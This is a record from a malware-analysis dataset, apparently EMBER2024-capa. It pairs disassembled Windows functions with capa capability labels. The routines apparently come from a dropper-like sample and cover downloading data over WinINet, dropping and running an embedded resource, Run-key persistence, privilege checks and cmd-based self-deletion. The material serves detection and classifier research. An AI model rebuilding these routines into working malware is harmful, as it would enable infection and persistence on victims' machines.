joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
test ebp, ebp
jne 0x401bff
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401c54
push eax
call fcn.00403a12
add esp, 4
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push edi
push eax
call fcn.00403aef
mov esi, dword [esp + 0x10]
mov edx, dword [0x41479c]
push esi
mov edi, eax
push edx
push edi
call fcn.004090e0
add esp, 0x10
mov edx, edi
call fcn.004018c0
push ebp
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
Function at 0x402340
Capabilities:
Get session user name

Disassembly:
sub esp, 0x1e4
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1dc], eax
push 0x94
lea eax, [esp + 0x18]
push 0
push eax
mov dword [esp + 0x1c], 0
call fcn.00406b00
mov ecx, dword [str.___x9:7__9_3x59_]
mov edx, dword [ecx + 0x19c]
add esp, 0xc
mov dword [esp + 0x14], edx
call fcn.00401000
mov dword [esp + 0x10], eax
call fcn.00402ab0
movzx eax, al
push 0
mov dword [esp + 0x1c], eax
call fcn.00404542
add esp, 4
add eax, 0x7080
lea ecx, [esp + 8]
adc edx, 0
push ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
call fcn.004039eb
mov edx, dword [eax + 0x14]
mov dword [esp + 0x20], edx
mov ecx, dword [eax + 0x10]
inc ecx
mov dword [esp + 0x24], ecx
mov edx, dword [eax + 0xc]
mov dword [esp + 0x28], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x2c], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x30], edx
mov eax, dword [eax]
add esp, 4
mov dword [esp + 0x30], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4023f7
mov eax, 1
jmp 0x402423
call fcn.00401000
cmp eax, 4
jge 0x402408
mov eax, 3
jmp 0x402423
call fcn.004031d0
cmp eax, 1
jne 0x402419
mov eax, 2
jmp 0x402423
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
push 0x12b
lea ecx, [esp + 0xad]
push 0
push ecx
mov dword [esp + 0x40], eax
mov byte [esp + 0xb4], 0
call fcn.00406b00
add esp, 0xc
lea edx, [esp + 4]
push edx
lea eax, [esp + 0xac]
push eax
mov dword [esp + 0xc], 0x12c
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x402477
push 0x64
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.00406b00
add esp, 0xc
jmp 0x402493
lea edx, [esp + 0xa8]
push edx
lea eax, [esp + 0x3c]
mov byte [esp + 0xd4], 0
call fcn.00401780
add esp, 4
mov eax, dword [0x413190]
mov ecx, dword [0x413194]
mov edx, dword [0x413198]
push 0
mov dword [esp + 0xa0], eax
lea eax, [esp + 0x14]
mov dword [esp + 0xa4], ecx
push 0x98
push eax
mov ecx, 0x414774
mov dword [esp + 0xb0], edx
call fcn.004018e0
mov ecx, dword [esp + 0x1e8]
add esp, 0xc
xor ecx, esp
call fcn.004033e4
add esp, 0x1e4
ret

Function at 0x402ab0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x254
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
xor ebx, ebx
push 0x103
lea eax, [esp + 0x14d]
push ebx
push eax
mov byte [esp + 0x154], bl
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x148]
mov byte [esp + 0x14b], bl
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
jmp loc.004247e0
Function at 0x402b90
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x348
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x344], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x402bc5
mov al, 1
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004033e4
add esp, 0x348
ret
call fcn.00401000
cmp eax, 5
je 0x402beb
cmp eax, 7
je 0x402beb
xor al, al
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004033e4
add esp, 0x348
ret
call fcn.004031d0
cmp eax, 1
jne 0x402bd4
push esi
push 0x103
lea eax, [esp + 0x111]
push 0
push eax
mov byte [esp + 0x118], 0
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea edx, [esp + 0xd]
push 0
push edx
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea esi, [esp + 8]
lea ecx, [esi + 1]
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x402c60
push ebx
push ebp
sub esi, ecx
push edi
lea edi, [esi + 8]
cmp esi, edi
jge 0x402c9b
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop
call ebp
xor edx, edx
mov ecx, 0x1a
div ecx
push 1
add dl, 0x61
mov byte [esp + esi + 0x18], dl
call ebx
inc esi
cmp esi, edi
jl 0x402c80
lea eax, [esp + 0x14]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402ca0
mov edx, dword [str..dat]
mov cl, byte [0x4105d4]
mov dword [eax], edx
mov byte [eax + 4], cl
call fcn.00402ab0
xor edx, edx
mov bl, al
test bl, bl
setne dl
push 0x4105d8
add edx, 0x65
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
call fcn.00403aef
push esi
mov ebp, eax
push edi
push ebp
call fcn.004090e0
add esp, 0x10
xor ecx, ecx
test esi, esi
jle 0x402d25

Function at 0x402f20
Capabilities:
Create directory
Create process on windows
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
sub esp, 0x318
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x314], eax
push 0x103
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
push 0x103
lea ecx, [esp + 0x11d]
push 0
push ecx
mov byte [esp + 0x124], 0
call fcn.00406b00
push 0x103
lea edx, [esp + 0x22d]
push 0
push edx
mov byte [esp + 0x234], 0
call fcn.00406b00
add esp, 0x24
call fcn.00402b90
mov byte [esp + 3], al
xor eax, eax
jmp loc.00422710
Function at 0x4031d0
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x20
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov byte [esp + 0x24], 0
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0
mov byte [esp + 0x29], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp ebx, esi
je 0x4032f3
or edi, 0xffffffff
cmp ebx, edi
je 0x4032f3
lea eax, [esp + 0x18]
push eax
push 0xf01ff
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40325c
mov dword [esp + 0x10], edi
jmp 0x4032fb
lea ecx, [esp + 0x1c]
push ecx
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea edx, [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x403285
mov dword [esp + 0x10], edi
jmp 0x4032fb
push 0x400
call fcn.00403aef
push 0x400
mov edi, eax
push esi
push edi
call fcn.00406b00
mov ecx, dword [esp + 0x28]
add esp, 0x10
lea eax, [esp + 0x20]
push eax
push 0x400
push edi
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebp, dword [edi]
cmp ebp, esi
jle 0x4032ff
lea ebx, [edi + 4]
mov edx, dword [ebx]
mov eax, dword [esp + 0x1c]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x4032e3
inc esi
add ebx, 8
cmp esi, ebp
jl 0x4032c1
mov ebx, dword [esp + 0x14]
xor esi, esi
jmp 0x4032ff
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 1
xor esi, esi
jmp 0x4032ff
jmp 0x420e10
mov edi, dword [esp + 0x14]
cmp edi, esi
je 0x40330c
push edi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x1c]
cmp eax, esi
je 0x40331b
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, esi
je 0x40332d
cmp ebx, 0xffffffff
je 0x40332d
push ebx
call edi
mov eax, dword [esp + 0x18]
cmp eax, esi
je 0x40333d
cmp eax, 0xffffffff
je 0x40333d
push eax
call edi
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x20
ret
Function at 0x403360
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub esp, 0x114
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x110], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x413a20]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov ecx, dword [0x413a20]
push ecx
lea edx, [esp + 4]
push str._c_ping_127.0.0.1__del__q___s_
push edx
call fcn.004033f3
add esp, 0xc
push 0
push 0
lea eax, [esp + 8]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4033e4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412008]
jne 0x4033ee
repz ret
jmp loc.00421db0

Function at 0x4057aa
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push dword [0x413d64]
call fcn.004058d6
jmp loc.00422008

Function at 0x405951
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov edi, edi
push esi
push dword [0x41218c]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x405981
push dword [0x413d6c]
call fcn.004058d6
jmp loc.00420640
mov eax, esi
pop esi
ret

Function at 0x406340
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x406356
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
jmp loc.00424268
Function at 0x40aff5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004058cd
and dword [ebp - 4], 0
cmp dword [0x414374], 0
mov ebx, eax
jne 0x40b0a6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b157
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b157
push eax
call fcn.0040585b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x414374], eax
call esi
push eax
call fcn.0040585b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x414378], eax
call esi
push eax
call fcn.0040585b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x41437c], eax
call esi
push eax
call fcn.0040585b
pop ecx
mov dword [0x414384], eax
test eax, eax
je 0x40b0a6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040585b
mov ebx, 0x59ffffa7
mov dword [0x414380], eax
mov eax, dword [0x414380]
cmp eax, ebx
je 0x40b0fe
cmp dword [0x414384], ebx
je 0x40b0fe
push eax
call fcn.004058d6
push dword [0x414384]
mov esi, eax
call fcn.004058d6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b0fe
test edi, edi
je 0x40b0fe
call esi
test eax, eax
je 0x40b0f5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b0f5
test byte [ebp - 0xc], 1
jne 0x40b0fe
or dword [ebp + 0x10], 0x200000
jmp 0x40b137
mov eax, dword [0x414378]
cmp eax, ebx
je 0x40b137
push eax
call fcn.004058d6
pop ecx
test eax, eax
je 0x40b137
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b137
mov eax, dword [0x41437c]
cmp eax, ebx
je 0x40b137
push eax
call fcn.004058d6
pop ecx
test eax, eax
je 0x40b137
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x414374]
call fcn.004058d6
pop ecx
test eax, eax
je 0x40b157
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b159
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4015f8
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4665e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00426ee0
cmp byte [ebp + edi - 0x109], 0x5c
pop ecx
pop ecx
jne 0x401647
dec edi
cmp edi, 0x104
jae 0x401764
mov byte [ebp + edi - 0x108], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x401661
mov al, 1
jmp 0x401754
cmp byte [ebp - 0x108], 0x5c
jne 0x4016ef
cmp byte [ebp - 0x107], 0x5c
jne 0x4016ef
lea eax, [ebp - 0x106]
push 0x5c
push eax
call fcn.004276c0
pop ecx
pop ecx
test eax, eax
jne 0x401692
xor al, al
jmp 0x401754
inc eax
push 0x5c
push eax
call fcn.004276c0
pop ecx
pop ecx
test eax, eax
je 0x40168b
lea ecx, [ebp - 0x108]
sub eax, ecx
push ebx
xor bl, bl
lea esi, [eax + 1]
mov dword [ebp - 0x210], esi
lea eax, [ebp - 0x108]
add eax, esi
push 0x5c
push eax
call fcn.004276c0
mov esi, eax
lea eax, [ebp - 0x108]
pop ecx
pop ecx
test esi, esi
jne 0x4016f7
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00426ee0
mov esi, dword [ebp - 0x210]
xor eax, eax
pop ecx
pop ecx
lea ebx, [eax + 1]
jmp 0x401732
lea eax, [ebp - 0x108]
jmp 0x401693
sub esi, eax
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004277f0
add esp, 0xc
cmp esi, 0x104
jae 0x401764
mov byte [ebp + esi - 0x20c], 0
inc esi
push 1
cmp esi, edi
movzx ebx, bl
pop eax
mov dword [ebp - 0x210], esi
cmovge ebx, eax
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, eax
test bl, bl
je 0x4016b5
xor eax, eax
cmp ecx, 1
pop ebx
sete al
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00427ba3
mov esp, ebp
pop ebp
ret
call fcn.00426600
int3

Function at 0x402499
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
test edx, edx
je 0x4024c3
push esi
mov esi, dword [ebp + 8]
movzx eax, byte [esi]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x466010]
inc esi
dec edx
jne 0x4024aa
pop esi
mov eax, ecx
pop ebp
ret
Function at 0x402525
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x18]
push esi
push edi
lea esi, [ebx + 1]
push esi
call fcn.00426332
push esi
mov dword [ebp - 4], eax
call fcn.00426332
push ebx
push dword [ebp + 8]
mov esi, eax
xor edi, edi
push dword [ebp - 4]
mov dword [ebp - 0xc], esi
call fcn.004024c7
push ebx
push dword [ebp + 0xc]
push esi
call fcn.004024c7
mov eax, dword [ebp + 0x10]
movzx esi, al
add esi, 0x55
xor esi, 0xff
mov eax, esi
shr eax, 4
push eax
call fcn.00402628
mov ecx, dword [ebp + 0x14]
and esi, 0xf
push esi
mov byte [ecx], al
call fcn.00402628
mov esi, dword [ebp + 0x14]
add esp, 0x28
xor ecx, ecx
mov byte [esi + 1], al
test ebx, ebx
jle 0x4025b7
mov esi, dword [ebp + 0xc]
movsx eax, byte [ecx + esi]
xor eax, edi
shr edi, 8
and eax, 0xff
xor edi, dword [eax*4 + 0x466010]
inc ecx
cmp ecx, ebx
jl 0x40259a
mov esi, dword [ebp + 0x14]
cmp ebx, 2
jle 0x40260b
mov eax, dword [ebp - 4]
lea ecx, [esi + 2]
sub eax, esi
mov dword [ebp + 0x10], eax
lea eax, [ebx - 2]
mov esi, dword [ebp + 0x10]
mov ebx, eax
movsx eax, byte [esi + ecx]
xor edx, edx
xor eax, edi
mov dword [ebp + 0x10], 0x24
and eax, 0xff
shr edi, 8
xor edi, dword [eax*4 + 0x466010]
mov eax, edi
div dword [ebp + 0x10]
cmp edx, 0xa
jae 0x4025fc
add dl, 0x30
jmp 0x4025ff
add dl, 0x37
mov byte [ecx], dl
inc ecx
dec ebx
jne 0x4025cf
mov ebx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x14]
push dword [ebp - 4]
mov byte [esi + ebx], 0
call fcn.00426383
push dword [ebp - 0xc]
call fcn.00426383
pop ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40344a
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push 0x184
mov eax, 0x452a85
call fcn.00427c7a
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x34]
mov edi, dword [ebp + 8]
push esi
call fcn.00402672
and dword [ebp - 4], 0
mov ebx, 0x4563e8
push ebx
call fcn.00426fe0
pop ecx
push eax
push 0xffffffffffffffff
push ebx
mov ecx, esi
call fcn.0040377b
xor ebx, ebx
mov dword [ebp - 0x190], eax
inc ebx
push ebx
lea eax, [ebp - 0x1c]
push str._03d
push eax
call fcn.0042c1a6
add esp, 0xc
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00401399
cmp byte [ebp - 0x1c], 0
mov byte [ebp - 4], 1
jne 0x4034b8
xor eax, eax
jmp 0x4034c2
lea eax, [ebp - 0x1c]
push eax
call fcn.00426fe0
pop ecx
push eax
lea eax, [ebp - 0x1c]
push eax
push 3
push dword [ebp - 0x190]
lea ecx, [ebp - 0x34]
call fcn.004032f2
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x18c]
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x4c]
push 0
push 1
cmp eax, 0xffffffff
je 0x403514
mov byte [ebp - 4], 0
call fcn.00401d7b
inc ebx
cmp ebx, 0x3e7
jl 0x40348c
jmp 0x403519
call fcn.00401d7b
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
cmp dword [esi + 0x14], 0x10
jb 0x40352e
mov ecx, dword [esi]
jmp 0x403530
mov ecx, esi
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 2
push eax
push ecx
call ebx
test eax, eax
je 0x40357c
cmp dword [esi + 0x14], 0x10
jb 0x40354a
mov ecx, dword [esi]
jmp 0x40354c
mov ecx, esi
cmp dword [edi + 0x14], 0x10
jb 0x403556
mov eax, dword [edi]
jmp 0x403558
mov eax, edi
push 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40357c
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
push 4
cmovae eax, dword [ebp - 0x34]
push 0
push eax
call ebx
test eax, eax
jne 0x4035a8
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp dword [esi + 0x14], 0x10
jb 0x40358c
mov esi, dword [esi]
cmp dword [edi + 0x14], 0x10
jb 0x403594
mov edi, dword [edi]
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x4035a8
call ebx
xor bl, bl
jmp 0x4035aa
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00401d7b
mov al, bl
call fcn.00427c29
ret
Function at 0x4035be
Capabilities:
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x520
mov eax, dword [0x4665e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov eax, 0x4563f4
cmovne eax, ecx
push eax
lea eax, [ebp - 0x514]
push str._hs_hs_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, str._Rename__r_n
lea edi, [ebp - 0x10]
add esp, 0x10
mov ebx, eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x518], ebx
movsd dword es:[edi], dword [esi]
push 0x104
push eax
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.WinInit.Ini
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x114]
push esi
push 0x8000080
push 4
push esi
push esi
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x520], edi
cmp edi, 0xffffffff
je 0x403746
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea ecx, [ebx + 0xa]
add ecx, esi
xor ebx, ebx
push ecx
push ebx
push 4
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x51c], eax
test eax, eax
je 0x40372e
push ebx
push ebx
push ebx
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x403720
lea eax, [ebp - 0x10]
push eax
push ebx
call fcn.0042be40
pop ecx
pop ecx
test eax, eax
jne 0x4036ce
lea eax, [ebp - 0x10]
push eax
lea eax, [ebx + esi]
push 0x456420
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add esi, eax
mov edi, esi
jmp 0x4036f4
push 0xa
push eax
call fcn.004276c0
mov ecx, ebx
lea edi, [eax + 1]
sub ecx, edi
add ecx, esi
push ecx
mov ecx, dword [ebp - 0x518]
add ecx, edi
push edi
push ecx
call fcn.00427070
add esp, 0x14
sub edi, ebx
push dword [ebp - 0x518]
lea eax, [ebp - 0x514]
push eax
lea eax, [edi + ebx]
push eax
call fcn.00426800
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
add esi, dword [ebp - 0x518]
mov edi, dword [ebp - 0x520]
push dword [ebp - 0x51c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
push ebx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00427ba3
mov esp, ebp
pop ebp
ret
Function at 0x40489e
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x452cbf
call fcn.00427c7a
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x404995
cmp byte [ebx + 0x45], 0
je 0x404995
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4048d3
xor al, al
jmp 0x404997
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.00404eb3
and dword [ebp - 4], 0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x40]
lea edi, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x40492d
dec eax
je 0x404931
dec eax
dec eax
je 0x404983
xor bl, bl
jmp 0x404985
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x404969
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.0042cd42
add esp, 0x10
cmp esi, eax
jne 0x404929
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp byte [ebx + 0x45], 0
je 0x404983
test esi, esi
jne 0x4048f7
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.00404e52
jmp 0x4048f1
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00401d7b
mov al, bl
jmp 0x404997
mov al, 1
call fcn.00427c29
ret

Function at 0x4067a1
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 4
push dword [ebp + 8]
push 0x4063af
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x468ad8], eax
test eax, eax
je 0x4067fe
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
test eax, eax
je 0x4067e8
push dword [0x468ad8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x4067e8
mov al, 1
jmp 0x406800
mov eax, dword [0x468ad8]
test eax, eax
je 0x4067fe
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x468ad8], esi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret